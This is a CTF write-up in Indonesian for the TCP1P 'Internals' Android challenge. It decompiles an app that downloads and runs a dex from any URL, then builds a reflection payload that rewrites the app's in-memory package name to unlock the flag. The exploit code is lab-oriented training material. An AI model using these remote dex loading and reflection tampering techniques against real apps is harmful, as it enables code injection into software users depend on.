Internals
Challenge TCP1P Capture The Flag Writeup by azka
Author: aimardcr
Seperti yang sudah ada dideskripsi challenge nya, untuk menyelesaikan challenge ini kita perlu untuk membuat malicious/exploit aplikasi sendiri yang dimana nanti akan diinstall di Virtual Android Device dari TCP1P.
Sebelum kita membuat malicious code atau exploitnya, penting bagi kita untuk memahami aplikasi internals ini secara mendalam. Langkah pertama yang krusial adalah menganalisis aplikasi tersebut dengan menggunakan tools decompiler. Decompiler ini memungkinkan kita untuk membuka aplikasi "challenge" menjadi source code yang dapat kita baca dan pahami. Saya pribadi menggunakan tools decompiler dari jadx untuk melakukan ini.
Cara menggunakan jadx:
Open file
dan kemudian cari .apk challenge yang sudah didownload oleh teman teman.AndroidManifest.xml
terlebih dahulu, yang didapatkan dari isi dari Resources -> AndroidManifest.xml
.AndroidManifest.xml
nya dan cari kata MainActivity
, karena biasanya developer android menggunakan MainActivity
sebagai class utama dari aplikasi mereka.com.kuro.internals
.Source code -> [nama package dari aplikasi]
contohnya Source Code -> com.kuro.internals
.Link aplikasi: challenge.apk
Diberikan challenge dengan nama Internals
dengan deskripsi sebagai berikut:
Let's see how well your knowledge about android internals.
Using any type of external library will deduct your points by half.
Hint :
Dari deskripsi yang diberikan terlihat kita dichallenge oleh pembuat soal terkait knowledge kita tentang andoir internals, dan pembuat soal juga melarang kita untuk menggunakan library external untuk melakukan exploit nya, kalaupun kita menggunakan library external kita akan mendapatkan pengurangan point.
Sekarang coba kita install dan buka terlebih dahulu aplikasi challenge ini dan melihat bagaimana tampilan nya.
Terlihat aplikasi ini meminta url yang akan mendownload payload.dex
dan akan meload dex nya.
Oke setelah membaca deskripsi dan isi aplikasi dari soal kita perlu untuk melihat terlebih dahulu source code dari aplikasi internals
ini, dan didpatkan satu activity yaitu MainActivity
saja:
package com.kuro.internals;
import android.app.ProgressDialog;
import android.content.DialogInterface;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import androidx.appcompat.app.AlertDialog;
import androidx.appcompat.app.AppCompatActivity;
import dalvik.system.DexClassLoader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
Button btn_load;
EditText input_url;
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
this.input_url = (EditText) findViewById(R.id.input_url);
Button button = (Button) findViewById(R.id.btn_load);
this.btn_load = button;
button.setOnClickListener(new View.OnClickListener() { // from class: com.kuro.internals.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View v) {
String url = MainActivity.this.input_url.getText().toString();
if (url.isEmpty()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage("URL cannot be empty!");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
MainActivity.this.downloadDex(url);
}
});
}
void downloadDex(String url) {
ProgressDialog pDialog = new ProgressDialog(this);
pDialog.setTitle("Downloading...");
pDialog.setMessage("Please wait...");
pDialog.setCancelable(false);
pDialog.setProgressStyle(0);
pDialog.show();
ExecutorService executor = Executors.newSingleThreadExecutor();
Handler handler = new Handler(Looper.getMainLooper());
executor.execute(new AnonymousClass2(url, handler, pDialog));
}
/* JADX INFO: Access modifiers changed from: package-private */
/* renamed from: com.kuro.internals.MainActivity$2 reason: invalid class name */
/* loaded from: classes3.dex */
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
void loadDex() {
File dexPath = getFileStreamPath("payload.dex");
if (!dexPath.exists()) {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Error");
builder.setMessage("payload.dex not found");
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
try {
DexClassLoader dexClassLoader = new DexClassLoader(dexPath.getAbsolutePath(), getFilesDir().getAbsolutePath(), null, getClassLoader());
Class<?> clazz = dexClassLoader.loadClass("com.kuro.payload.Main");
clazz.getMethod("execute", new Class[0]).invoke(null, null);
if (getPackageName().equals("l33t_h4x0r")) {
AlertDialog.Builder builder2 = new AlertDialog.Builder(this);
builder2.setTitle("Gr4tz");
builder2.setMessage("Flag: flag{fake_flag_dont_submit}");
builder2.setCancelable(false);
builder2.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder2.show();
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Bisa dilihat bahwa aplikasi menggunakan layout activity_main
yang bisa didapatkan di jadx didalam folder Resources/res/layout/activity_main.xml
, aplikasi ini juga mempunyai 1 button dan 1 EditText.
downloadDex
, jika user tidak memasukan url kedalam box maka akan memunculkan popup URL cannot be empty!
.downloadDex
bisa dilihat bahwa aplikasi akan memunculkan dialog Downloading...
dan akan melemparkannya ke fungsi AnonymousClass2
.AnonymousClass2
public class AnonymousClass2 implements Runnable {
final /* synthetic */ Handler val$handler;
final /* synthetic */ ProgressDialog val$pDialog;
final /* synthetic */ String val$url;
AnonymousClass2(String str, Handler handler, ProgressDialog progressDialog) {
this.val$url = str;
this.val$handler = handler;
this.val$pDialog = progressDialog;
}
@Override // java.lang.Runnable
public void run() {
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(this.val$url).build();
try {
client.newCall(request).enqueue(new Callback() { // from class: com.kuro.internals.MainActivity.2.1
@Override // okhttp3.Callback
public void onFailure(Call call, IOException e) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(e.getMessage());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
}
@Override // okhttp3.Callback
public void onResponse(Call call, Response response) throws IOException {
if (!response.isSuccessful()) {
AlertDialog.Builder builder = new AlertDialog.Builder(MainActivity.this);
builder.setTitle("Error");
builder.setMessage(response.message());
builder.setCancelable(false);
builder.setPositiveButton("OK", (DialogInterface.OnClickListener) null);
builder.show();
return;
}
InputStream inputStream = response.body().byteStream();
OutputStream outputStream = MainActivity.this.openFileOutput("payload.dex", 0);
try {
byte[] buffer = new byte[1024];
while (true) {
int len = inputStream.read(buffer);
if (len != -1) {
outputStream.write(buffer, 0, len);
} else {
outputStream.close();
inputStream.close();
AnonymousClass2.this.val$handler.post(new Runnable() { // from class: com.kuro.internals.MainActivity.2.1.1
@Override // java.lang.Runnable
public void run() {
AnonymousClass2.this.val$pDialog.dismiss();
MainActivity.this.loadDex();
}
});
return;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {
e.printStackTrace();
}
}
}
Setelah membaca source code dari fungsi AnonymousClass2
bisa dilihat bahwa dia mencoba untuk mendownload file dex dari url yang kita berikan dan menyimpannya dengan nama file payload.dex
yang kemudian akan dialihkan ke fungsi loadDex()
.
Dan disinilah bagian menariknya muncul dan bagaimana kita akan membuat malicious dex nya.
payload.dex
didalam folder files aplikasi kita, perlu dinote setiap file yang diload oleh android studio itu ada pada folder /data/data/[nama package apk]/files
, jadi dalam kode ini aplikasi challenge akan mengecheck terlebih dahulu apakah file payload.dex
itu ada atau tidak didalam folder files kita.Selanjutnya ketika file payload.dex
itu ada didalam folder files, payload.dex
akan diload dengan DexClassLoader yang nantinya akan dicheck dengan menggunakan Reflection untuk meload class didalam file dex nya, yang dimana dikode ini aplikasi challenge berusaha untuk meload class dari package com.kuro.payload
dengan nama class Main
dan juga dia mengambil method dari execute
untuk dijalankan diaplikasi challenge, setelah berhasil loadClass dari payload.dex
dia akan mengecheck nama package dari aplikasi challenge yang dimana saat ini masihlah com.kuro.internals
sudah berubah ke nama package baru atau tidak yaitu l33t_h4x0r
, ketika kondisi ini terpenuhi aplikasi akan menampilkan flag nya.
Setelah berhasil memahami bagaimana alur dari aplikasi ini berjalan, penulis sudah mempunya gambaran tentang bagaimana membuat malicious dex nya agar ketika dex yang penulis buat nanti bisa merubah packageName dari aplikasi challenge dari com.kuro.internals
ke l33t_h4x0r
.
Dari hint yang diberikan oleh pembuat soal, pembuat soal meminta kita untuk melakukan osint digithub akunnya dia.
Akhirnya penulis menemukan akun githubnya dan menemukan repository yang menarik didalamnya yaitu APKKiller, didalam repository ini pembuat soal memberitahukan bahwa dengan menggunakan Reflection
kita bisa membaca dan memodifikasi internal classes dan fields nya.
Setelah membaca dan melakukan trial and error tentang Reflection
penulis menemukan cara bahwa kita bisa menggunakan class dari ActivityThread untuk mengubah packageName ke packageName yang kita mau.
Cobalah untuk membuat projek baru di Android Studio
dengan setup sebagai berikut:
Empty Views Activity
lalu Next.com.kuro.payload
karena pada aplikasi challenge package ini yang akan di load, lalu pilihlah Java
sebagai bahasa pemrogramannya, karena Reflection
bisa kita pakai di java.Finish
dan tunggu sampai android studio menyiapkan setupnya.Main
karena aplikasi challenge akan meload class dari package kita dengan nama Main
dengan klik kanan pada package com.kuro.payload
lalu klik New -> Java Class
.Main
dan enter.MainActivity
terlebih dahulu untuk debugging.Jadi step pertama adalah cari terlebih dahulu field dari packageName dan kemudian baru kita set ke value yang baru
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Field[] fs = clazz.getDeclaredFields();
for(int i = 0; i < fs.length; i++) {
Log.e("Field" + String.valueOf(i), fs[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Coba gunakan kodingan diatas dan jalankan, lalu coba untuk melihat logcat nya karena saya memasukan Log.e
disitu untuk debugging dan melihat isi field dari ActivityThread
.
Dan didapatlah isi field dari class ActivityThread
.
Seperti yang diberikan hint oleh pembuat soal bahwa getPackageName itu terdapat pada mPackageInfo.
Setelah menghabiskan banyak waktu disini, akhirnya saya menemukan bahwa didalam fields mBoundApplication
terdapat field info
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field[] mBoandFields = mBoundApplication.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("mBoandFields" + String.valueOf(i), mBoandFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Dan akhirnya didapatilah field mPackageName
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
Class<?> clazz = Class.forName("android.app.ActivityThread");
Method currentActivityThread = clazz.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
Field[] fields = clazz.getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("Field" + String.valueOf(i), fields[i].getName());
}
Field mBoundApplicationField = clazz.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
// Field[] mBoundFields = mBoundApplication.getClass().getDeclaredFields();
// for(int i = 0; i < fields.length; i++) {
// Log.e("mBoundFields" + String.valueOf(i), mBoundFields[i].getName());
// }
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
Field[] apkInfoFields = loadedApkInfo.getClass().getDeclaredFields();
for(int i = 0; i < fields.length; i++) {
Log.e("apkInfoFields" + String.valueOf(i), apkInfoFields[i].getName());
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
Setelah mendapatkan field yang benar, sekarang tinggal merubah value dari mPackageName ini ke l33t_h4x0r
dengan kode berikut ini:
package com.kuro.payload;
import androidx.appcompat.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
Log.e("PackageName", getPackageName());
} catch (Exception e) {
e.printStackTrace();
}
}
}
Setelah dijalankan dan dilihat dilogcat package name sudah berhasil dirubah ke l33t_h4x0r
.
Setelah itu tinggal copy code nya dan masukan kedalam class Main
dan didalam fungsi execute
.
package com.kuro.payload;
import android.content.pm.ApplicationInfo;
import android.util.Log;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Main {
public static void execute() {
try {
// Get the current ActivityThread instance
Class<?> activityThreadClass = Class.forName("android.app.ActivityThread");
Method currentActivityThread = activityThreadClass.getDeclaredMethod("currentActivityThread");
currentActivityThread.setAccessible(true);
Object activityThread = currentActivityThread.invoke(null);
// Get the loaded package info
Field mBoundApplicationField = activityThreadClass.getDeclaredField("mBoundApplication");
mBoundApplicationField.setAccessible(true);
Object mBoundApplication = mBoundApplicationField.get(activityThread);
Field loadedApkInfoField = mBoundApplication.getClass().getDeclaredField("info");
loadedApkInfoField.setAccessible(true);
Object loadedApkInfo = loadedApkInfoField.get(mBoundApplication);
// Set the new package name
Field packageNameField = loadedApkInfo.getClass().getDeclaredField("mPackageName");
packageNameField.setAccessible(true);
packageNameField.set(loadedApkInfo, "l33t_h4x0r");
} catch (Exception e) {
e.printStackTrace();
}
}
}
Setelah itu set gradle nya agar ketika dibuild classes.dex nya itu hanya satu dan tidak multiple dengan menambahkan config sebagai berikut:
Setelah itu kita build projek ini.
Akan muncul popup di pojok kanan bawah seperti berikut ini.
Klik locate
dan akan diarahkan ke folder apk yang sudah dibuild:
Masuk kedalam folder debug.
Dan app-debug.apk
ini adalah hasil compile kita tadi, setelahnya kita buka apk ini di jadx
untuk kita ambil classes.dex nya dan kita pakai di aplikasi challenge.
folder apk hasil compile ada di <Nama Folder Projek>\app\build\outputs\apk\debug
.
Setelah dibuka dengan jadx, kita save all hasil decompile ini dan masukan kedalam sebuah folder, saya sendiri memasukannya ke folder kelasss
.
Setelah itu kita copy classes.dex
nya yang terdapat di folder kelasss/resources/classes.dex
ke folder yang lain untuk bisa kita transfer ke aplikasi challenge.
Saya memasukannya di folder internals saja dan saya rubah namanya ke payload.dex
dan menjalankan http.server dan ngrok, setelah itu tinggal masukan url nya ke box dan exploit kita berhasil untuk mendapatkan flagnya.
Tinggal dijalankan di Virtual Android Device dan didapatkan flagnya:
Reference: